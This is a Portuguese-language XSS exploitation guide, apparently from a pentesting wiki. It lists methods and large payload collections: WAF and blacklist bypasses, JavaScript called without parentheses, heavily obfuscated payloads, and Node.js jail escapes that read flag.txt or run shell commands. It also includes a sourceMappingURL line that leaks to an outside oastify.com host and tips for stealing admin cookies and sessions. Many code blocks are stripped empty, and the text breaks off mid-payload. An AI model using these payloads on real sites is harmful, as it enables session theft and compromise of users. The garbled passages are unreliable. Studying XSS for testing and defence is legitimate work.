# XSS (Cross Site Scripting)
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_). {% embed url="https://www.stmcyber.com/careers" %} ## Metodologia 1. Verifique se **qualquer valor que você controle** (_parâmetros_, _caminho_, _cabeçalhos_?, _cookies_?) está sendo **refletido** no HTML ou **usado** pelo código **JS**. 2. **Encontre o contexto** onde está sendo refletido/usado. 3. Se **refletido** 1. Verifique **quais símbolos você pode usar** e, dependendo disso, prepare o payload: 1. Em **HTML puro**: 1. Você pode criar novas tags HTML? 2. Você pode usar eventos ou atributos que suportam o protocolo `javascript:`? 3. Você pode contornar proteções? 4. O conteúdo HTML está sendo interpretado por algum mecanismo JS do lado do cliente (_AngularJS_, _VueJS_, _Mavo_...), você poderia abusar de uma [**Injeção de Modelo do Lado do Cliente**](../client-side-template-injection-csti.md). 5. Se você não puder criar tags HTML que executem código JS, poderia abusar de uma [**Marcação Pendente - Injeção de HTML sem script**](../dangling-markup-html-scriptless-injection/). 2. Dentro de uma **tag HTML**: 1. Você pode sair para o contexto de HTML puro? 2. Você pode criar novos eventos/atributos para executar código JS? 3. O atributo onde você está preso suporta a execução de JS? 4. Você pode contornar proteções? 3. Dentro do **código JavaScript**: 1. Você pode escapar da tag ``** de uma página HTML, dentro de um arquivo `.js` ou dentro de um atributo usando o protocolo **`javascript:`**: - Se refletido entre as tags **``**, mesmo que a sua entrada esteja dentro de qualquer tipo de aspas, você pode tentar injetar `` e escapar desse contexto. Isso funciona porque o **navegador primeiro analisará as tags HTML** e depois o conteúdo, portanto, não perceberá que sua tag `` injetada está dentro do código HTML. - Se refletido **dentro de uma string JS** e o último truque não estiver funcionando, você precisaria **sair** da string, **executar** o seu código e **reconstruir** o código JS (se houver algum erro, ele não será executado): - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` - Se refletido dentro de literais de modelo, você pode **incorporar expressões JS** usando a sintaxe `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` - A **codificação Unicode** funciona para escrever **código JavaScript válido**: ```javascript \u{61}lert(1) \u0061lert(1) \u{0061}lert(1) ``` #### Elevação de Javascript A elevação de Javascript refere-se à oportunidade de **declarar funções, variáveis ou classes após serem usadas, para que seja possível explorar cenários onde um XSS está usando variáveis ou funções não declaradas.**\ **Verifique a página a seguir para mais informações:** {% content-ref url="js-hoisting.md" %} [js-hoisting.md](js-hoisting.md) {% endcontent-ref %} ### Função Javascript Várias páginas da web têm endpoints que **aceitam como parâmetro o nome da função a ser executada**. Um exemplo comum de se ver é algo como: `?callback=callbackFunc`. Uma boa maneira de descobrir se algo fornecido diretamente pelo usuário está tentando ser executado é **modificar o valor do parâmetro** (por exemplo, para 'Vulnerável') e procurar no console por erros como: ![](<../../.gitbook/assets/image (711).png>) Caso seja vulnerável, você pode ser capaz de **disparar um alerta** apenas enviando o valor: **`?callback=alert(1)`**. No entanto, é muito comum que esses endpoints **validem o conteúdo** para permitir apenas letras, números, pontos e sublinhados (**`[\w\._]`**). No entanto, mesmo com essa limitação, ainda é possível realizar algumas ações. Isso ocorre porque você pode usar esses caracteres válidos para **acessar qualquer elemento no DOM**: ![](<../../.gitbook/assets/image (747).png>) Algumas funções úteis para isso: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` Você também pode tentar **acionar funções Javascript** diretamente: `obj.sales.delOrders`. No entanto, geralmente os endpoints que executam a função indicada são endpoints sem muito DOM interessante, **outras páginas na mesma origem** terão um **DOM mais interessante** para realizar mais ações. Portanto, para **abusar dessa vulnerabilidade em um DOM diferente**, foi desenvolvida a exploração de **Execução de Método de Mesma Origem (SOME)**: {% content-ref url="some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](some-same-origin-method-execution.md) {% endcontent-ref %} ### DOM Há **código JS** que está usando de forma **insegura** alguns **dados controlados por um atacante** como `location.href`. Um atacante poderia abusar disso para executar código JS arbitrário. {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} ### **XSS Universal** Esse tipo de XSS pode ser encontrado **em qualquer lugar**. Eles não dependem apenas da exploração do cliente de uma aplicação web, mas de **qualquer** **contexto**. Esse tipo de **execução arbitrária de JavaScript** pode até ser abusado para obter **RCE**, **ler** **arquivos** **arbitrários** em clientes e servidores, e mais.\ Alguns **exemplos**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) {% endcontent-ref %} {% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} [electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) {% endcontent-ref %} ## Bypass de WAF codificando imagem ![de https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>) ## Injetando dentro de HTML bruto Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar de `<` para criar novas tags: Apenas tente **refletir** esse **caractere** e verifique se ele está sendo **codificado em HTML** ou **excluído** ou se está sendo **refletido sem alterações**. **Somente no último caso você poderá explorar esse caso**.\ Para esses casos, também **tenha em mente** [**Injeção de Template do Lado do Cliente**](../client-side-template-injection-csti.md)**.**\ _**Nota: Um comentário HTML pode ser fechado usando**** ****`-->`**** ****ou**** ****`--!>`**_ Neste caso, e se não houver uso de lista negra/lista branca, você poderia usar payloads como: ```html ``` Mas, se estiver sendo usado um sistema de listagem negra/listagem branca de tags/atributos, você precisará **forçar a barra em quais tags** você pode criar.\ Depois de **localizar quais tags são permitidas**, você precisará **forçar a barra em atributos/eventos** dentro das tags válidas encontradas para ver como pode atacar o contexto. ### Forçando tags/eventos Acesse [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clique em _**Copiar tags para a área de transferência**_. Em seguida, envie todas elas usando o Burp intruder e verifique se alguma tag não foi identificada como maliciosa pelo WAF. Depois de descobrir quais tags pode usar, você pode **forçar a barra em todos os eventos** usando as tags válidas (na mesma página da web, clique em _**Copiar eventos para a área de transferência**_ e siga o mesmo procedimento anterior). ### Tags personalizadas Se não encontrar nenhuma tag HTML válida, você pode tentar **criar uma tag personalizada** e executar código JS com o atributo `onfocus`. Na solicitação XSS, você precisa terminar a URL com `#` para fazer a página **focar nesse objeto** e **executar** o código: ``` /?search=#x ``` ### Contornos da Lista Negra Se algum tipo de lista negra estiver sendo usada, você pode tentar contorná-la com alguns truques bobos: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` Observe que se você tentar **usar ambos** `URLencode + HTMLencode` em qualquer ordem para codificar o **payload**, isso **não funcionará**, mas você pode **misturá-los dentro do payload**. **Usando codificação Hex e Octal com `javascript:`** Você pode usar a codificação **Hex** e **Octal** dentro do atributo `src` do `iframe` (pelo menos) para declarar **tags HTML para executar JS**: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### Reverse tab nabbing ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### XSS em "Tags não exploráveis" (input oculto, link, canônico, meta) De [**aqui**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **agora é possível abusar de inputs ocultos com:** ```html
Newsletter popup
``` A partir de [**aqui**](https://portswigger.net/research/xss-in-hidden-input-fields): Você pode executar um **payload XSS dentro de um atributo oculto**, desde que você consiga **persuadir** a **vítima** a pressionar a **combinação de teclas**. No Firefox Windows/Linux, a combinação de teclas é **ALT+SHIFT+X** e no OS X é **CTRL+ALT+X**. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no atributo de tecla de acesso. Aqui está o vetor: ```markup ``` **A carga XSS será algo assim: `" accesskey="x" onclick="alert(1)" x="`** ### Contornos da Lista Negra Vários truques com o uso de diferentes codificações já foram expostos nesta seção. Volte para aprender onde você pode usar: * **Codificação HTML (tags HTML)** * **Codificação Unicode (pode ser código JS válido):** `\u0061lert(1)` * **Codificação de URL** * **Codificação Hexadecimal e Octal** * **Codificação de dados** **Contornos para tags e atributos HTML** Leia os [Contornos da Lista Negra da seção anterior](./#blacklist-bypasses). **Contornos para código JavaScript** Leia os [Contornos da Lista Negra de JavaScript da próxima seção](./#javascript-bypass-blacklists-techniques). ### Gadgets CSS Se você encontrou um **XSS em uma parte muito pequena** da web que requer algum tipo de interação (talvez um pequeno link no rodapé com um elemento onmouseover), você pode tentar **modificar o espaço que o elemento ocupa** para maximizar as probabilidades de o link ser acionado. Por exemplo, você poderia adicionar algum estilo no elemento como: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` Mas, se o WAF estiver filtrando o atributo de estilo, você pode usar Gadgets de Estilo CSS, então se você encontrar, por exemplo > .test {display:block; color: blue; width: 100%\} e > \#someid {top: 0; font-family: Tahoma;} Agora você pode modificar nosso link e trazê-lo para a forma > \ Este truque foi retirado de [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) ## Injetando dentro do código JavaScript Neste caso, sua **entrada** será **refletida dentro do código JS** de um arquivo `.js` ou entre as tags `` ou entre eventos HTML que podem executar código JS ou entre atributos que aceitam o protocolo `javascript:`. ### Escapando a tag \` você poderia facilmente **escapar fechando a tag ` ``` Note que neste exemplo **nem sequer fechamos a aspa simples**. Isso ocorre porque o **parsing HTML é realizado primeiro pelo navegador**, o que envolve a identificação dos elementos da página, incluindo blocos de script. O parsing do JavaScript para entender e executar os scripts incorporados é realizado apenas posteriormente. ### Dentro do código JS Se `< >` estiverem sendo sanitizados, você ainda pode **escapar a string** onde sua entrada está **localizada** e **executar JS arbitrário**. É importante **corrigir a sintaxe do JS**, pois se houver erros, o código JS não será executado: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### Literais de modelo \`\` Para construir **strings** além de aspas simples e duplas, o JS também aceita **acento grave** **` `` `**. Isso é conhecido como literais de modelo, pois permitem **incorporar expressões JS** usando a sintaxe `${ ... }`.\ Portanto, se você perceber que sua entrada está sendo **refletida** dentro de uma string JS que está usando acentos graves, você pode abusar da sintaxe `${ ... }` para executar **código JS arbitrário**: Isso pode ser **abusado** usando: ```javascript `${alert(1)}` `${`${`${`${alert(1)}`}`}`}` ``` ```````````````javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop(){return loop} loop`````````````` ``````````````` ### Execução de código codificado ```markup ``` **Javascript dentro de um comentário** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **JavaScript sem parênteses** ````javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x // or any DOMXSS sink such as location=name // Backtips // Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply eval`alert\x281\x29` // This won't work as it will just return the passed array setTimeout`alert\x281\x29` eval.call`${'alert\x281\x29'}` eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` // To pass several arguments you can use function btt(){ console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it Function`x${'alert(1337)'}x``` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` // This happened in the previous example // Change "this" value of call to "1," // match anything with regex /./ // call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead // Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function. Reflect.apply.call`${navigation.navigate}${navigation}${[name]}` // Using Reflect.set to call set any value to a variable Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third. // valueOf, toString // These operations are called when the object is used as a primitive // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used valueOf=alert;window+'' toString=alert;window+'' // Error handler window.onerror=eval;throw"=alert\x281\x29"; onerror=eval;throw"=alert\x281\x29"; {onerror=eval}throw"=alert(1)" //No ";" onerror=alert //No ";" using new line throw 1337 // Error handler + Special unicode separators eval("onerror=\u2028alert\u2029throw 1337"); // Error handler + Comma separator // The comma separator goes through the list and returns only the last element var a = (1,2,3,4,5,6) // a = 6 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert throw onerror=alert,1,1,1,1,1,1337 // optional exception variables inside a catch clause. try{throw onerror=alert}catch{throw 1} // Has instance symbol 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ```` * [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) * [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) **Chamada de função arbitrária (alerta)** ````javascript //Eval like functions eval('ale'+'rt(1)') setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Function('ale'+'rt(10)')``; [].constructor.constructor("alert(document.domain)")`` []["constructor"]["constructor"]`$${alert()}``` import('data:text/javascript,alert(1)') //General function executions `` //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[`al`+/ert/.source]`1` this[`al`+/ert/.source]`1` [alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt`1` top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) ```` ## **Vulnerabilidades DOM** Existe **código JS** que está usando **dados controlados de forma insegura por um atacante** como `location.href`. Um atacante poderia abusar disso para executar código JS arbitrário.\ **Devido à extensão da explicação das** [**vulnerabilidades DOM que foi movida para esta página**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} Lá você encontrará uma **explicação detalhada do que são as vulnerabilidades DOM, como são provocadas e como explorá-las**.\ Além disso, não se esqueça que **no final do post mencionado** você pode encontrar uma explicação sobre [**ataques de DOM Clobbering**](dom-xss.md#dom-clobbering). ### Atualizando o Self-XSS ### XSS de Cookie Se você puder acionar um XSS enviando o payload dentro de um cookie, isso geralmente é um self-XSS. No entanto, se você encontrar um **subdomínio vulnerável ao XSS**, você poderia abusar desse XSS para injetar um cookie em todo o domínio, conseguindo acionar o XSS de cookie no domínio principal ou em outros subdomínios (aqueles vulneráveis ao XSS de cookie). Para isso, você pode usar o ataque de cookie tossing: {% content-ref url="../hacking-with-cookies/cookie-tossing.md" %} [cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md) {% endcontent-ref %} Você pode encontrar um grande abuso dessa técnica neste [**post de blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). ### Enviando sua sessão para o administrador Talvez um usuário possa compartilhar seu perfil com o administrador e se o self-XSS estiver dentro do perfil do usuário e o administrador acessá-lo, ele acionará a vulnerabilidade. ### Espelhamento de Sessão Se você encontrar algum self-XSS e a página da web tiver um **espelhamento de sessão para administradores**, por exemplo, permitindo que os clientes solicitem ajuda e para que o administrador possa ajudá-lo, ele verá o que você está vendo em sua sessão, mas a partir de sua sessão. Você poderia fazer o **administrador acionar seu self-XSS** e roubar seus cookies/sessão. ## Outros Desvios ### Unicode Normalizado Você poderia verificar se os **valores refletidos** estão sendo **normalizados em unicode** no servidor (ou no lado do cliente) e abusar dessa funcionalidade para contornar proteções. [**Encontre um exemplo aqui**](../unicode-injection/#xss-cross-site-scripting). ### Bypass de flag PHP FILTER\_VALIDATE\_EMAIL ```javascript ">"@x.y ``` ### Bypass Ruby-On-Rails Devido às **atribuições em massa do RoR**, as aspas são inseridas no HTML e, em seguida, a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\ Por exemplo de formulário ([deste relatório](https://hackerone.com/reports/709336)), se você enviar a carga útil: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` O par "Chave","Valor" será ecoado de volta assim: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` ### Combinações Especiais ```markup alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) (function(x){this[x+`ert`](1)})`al` window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` ### XSS com injeção de cabeçalho em uma resposta 302 Se você descobrir que pode **injetar cabeçalhos em uma resposta de redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso **não é trivial**, pois os navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas um payload de script entre sites é inútil. Neste [**relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute o payload XSS dentro do corpo.\ Protocolos conhecidos: `mailto://`, `//x:1/`, `ws://`, `wss://`, _cabeçalho Location_ vazio, `resource://`. ### Apenas Letras, Números e Pontos Se você puder indicar o **callback** que o javascript vai **executar** limitado a esses caracteres. [**Leia esta seção deste post**](./#javascript-function) para descobrir como abusar desse comportamento. ### Tipos de Conteúdo ` ``` A resposta é: * **módulo** (padrão, nada a explicar) * [**webbundle**](https://web.dev/web-bundles/): Web Bundles é um recurso que permite empacotar um conjunto de dados (HTML, CSS, JS...) juntos em um arquivo **`.wbn`**. ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` * [**importmap**](https://github.com/WICG/import-maps)**:** Permite melhorar a sintaxe de importação ```html ``` Este comportamento foi utilizado em [**este artigo**](https://github.com/zwade/yaca/tree/master/solution) para remapear uma biblioteca para eval e abusá-la pode acionar XSS. * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Este recurso é principalmente para resolver alguns problemas causados pelo pré-renderização. Funciona assim: ```html ``` ### Tipos de Conteúdo da Web para XSS (De [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Os seguintes tipos de conteúdo podem executar XSS em todos os navegadores: * text/html * application/xhtml+xml * application/xml * text/xml * image/svg+xml * text/plain (?? não está na lista, mas acho que vi isso em um CTF) * application/rss+xml (desativado) * application/atom+xml (desativado) Em outros navegadores outros **`Tipos de Conteúdo`** podem ser usados para executar JS arbitrário, verifique: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### Tipo de Conteúdo xml Se a página estiver retornando um tipo de conteúdo text/xml, é possível indicar um namespace e executar JS arbitrário: ```xml hello ``` ### Padrões de Substituição Especiais Quando algo como **`"alguns {{modelo}} dados".replace("{{modelo}}", )`** é usado. O atacante poderia usar [**substituições de string especiais**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) para tentar contornar algumas proteções: ``"123 {{modelo}} 456".replace("{{modelo}}", JSON.stringify({"nome": "$'$`alert(1)//"}))`` Por exemplo, neste [**relatório**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), isso foi usado para **escapar uma string JSON** dentro de um script e executar código arbitrário. ### Cache do Chrome para XSS {% content-ref url="chrome-cache-to-xss.md" %} [chrome-cache-to-xss.md](chrome-cache-to-xss.md) {% endcontent-ref %} ### Escape de Jaulas XS Se você só tem um conjunto limitado de caracteres para usar, verifique essas outras soluções válidas para problemas de Jaulas XS: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) // use of with with(console)log(123) with(/console.log(1)/)with(this)with(constructor)constructor(source)() // Just replace console.log(1) to the real code, the code we want to run is: //return String(process.mainModule.require('fs').readFileSync('flag.txt')) with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n))) //Final solution with( /with(String) with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) with(mainModule) with(require(k)) return(String(readFileSync(n))) /) with(this) with(constructor) constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` Se **tudo é indefinido** antes de executar código não confiável (como em [**este artigo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), é possível gerar objetos úteis "do nada" para abusar da execução de código não confiável arbitrário: * Usando import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8"))) ``` * Acessando `require` indiretamente [De acordo com isso](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) os módulos são envolvidos pelo Node.js dentro de uma função, como este exemplo: ```javascript (function (exports, require, module, __filename, __dirname) { // our actual module code }); ``` Portanto, se a partir desse módulo podemos **chamar outra função**, é possível usar `arguments.callee.caller.arguments[1]` dessa função para acessar **`require`**: {% code overflow="wrap" %} ```javascript (function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})() ``` {% endcode %} Da mesma forma que no exemplo anterior, é possível **usar manipuladores de erro** para acessar o **wrapper** do módulo e obter a função **`require`**: ```javascript try { null.f() } catch (e) { TypeError = e.constructor } Object = {}.constructor String = ''.constructor Error = TypeError.prototype.__proto__.constructor function CustomError() { const oldStackTrace = Error.prepareStackTrace try { Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace Error.captureStackTrace(this) this.stack } finally { Error.prepareStackTrace = oldStackTrace } } function trigger() { const err = new CustomError() console.log(err.stack[0]) for (const x of err.stack) { // use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter const fn = x.getFunction() console.log(String(fn).slice(0, 200)) console.log(fn?.arguments) console.log('='.repeat(40)) if ((args = fn?.arguments)?.length > 0) { req = args[1] console.log(req('child_process').execSync('id').toString()) } } } trigger() ``` ### Ofuscação e Desvio Avançado - **Diferentes ofuscações em uma página:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) - [http://www.jsfuck.com/](http://www.jsfuck.com) - JSFuck mais sofisticado: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) ```javascript //Katana ``` ```javascript //JJencode ``` ```javascript //JSFuck ``` ```javascript //aaencode ゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ 